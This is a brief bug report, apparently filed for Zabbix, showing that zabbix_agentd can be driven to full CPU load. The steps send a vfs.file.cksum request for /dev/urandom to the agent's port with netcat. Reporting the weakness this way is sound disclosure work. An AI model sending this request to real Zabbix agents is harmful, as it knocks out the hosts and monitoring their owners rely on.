zabbix_agentd DoS attack with vfs.file.cksum

If you feed a checksum generator a special device i. e. /dev/urandom the CPU load jumps to 100 %. Steps to reproduce on *NIX:

• start zabbix_agentd
• run: echo "vfs.file.cksum[/dev/urandom]" | nc 127.0.0.1 10050
• observe cpu load with command: top